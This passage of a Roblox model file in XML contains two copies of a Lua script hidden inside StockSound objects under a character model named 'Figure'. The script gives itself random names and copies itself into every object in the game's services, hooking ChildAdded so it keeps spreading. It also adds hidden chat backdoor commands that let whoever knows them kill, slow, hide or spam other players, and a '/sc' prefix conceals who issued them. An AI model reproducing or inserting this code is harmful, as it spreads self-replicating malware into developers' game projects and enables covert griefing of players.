multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Model" referent="RBX143">
				<Properties>
					<token name="Controller">7</token>
					<bool name="ControllerFlagShown">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Figure</string>
					<Ref name="PrimaryPart">RBX144</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Part" referent="RBX144">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">12</int>
						<CoordinateFrame name="CFrame">
							<X>-3</X>
							<Y>12.1999998</Y>
							<Z>-14.5</Z>
							<R00>-1</R00>
							<R01>0</R01>
							<R02>-0</R02>
							<R10>-0</R10>
							<R11>1</R11>
							<R12>-0</R12>
							<R20>-0</R20>
							<R21>0</R21>
							<R22>-1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Head</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>2</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX145">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">0</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1.25</X>
								<Y>1.25</Y>
								<Z>1.25</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX146">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">vfxqmcv</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX147">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">2sk5087t</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Decal" referent="RBX148">
						<Properties>
							<token name="Face">5</token>
							<string name="Name">face</string>
							<float name="Shiny">20</float>
							<float name="Specular">0</float>
							<Content name="Texture"><hash>b0c3fd281c77535b29d7d191d47d580e</hash></Content>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX149">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">qi5h</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX150">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">499wojk4</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
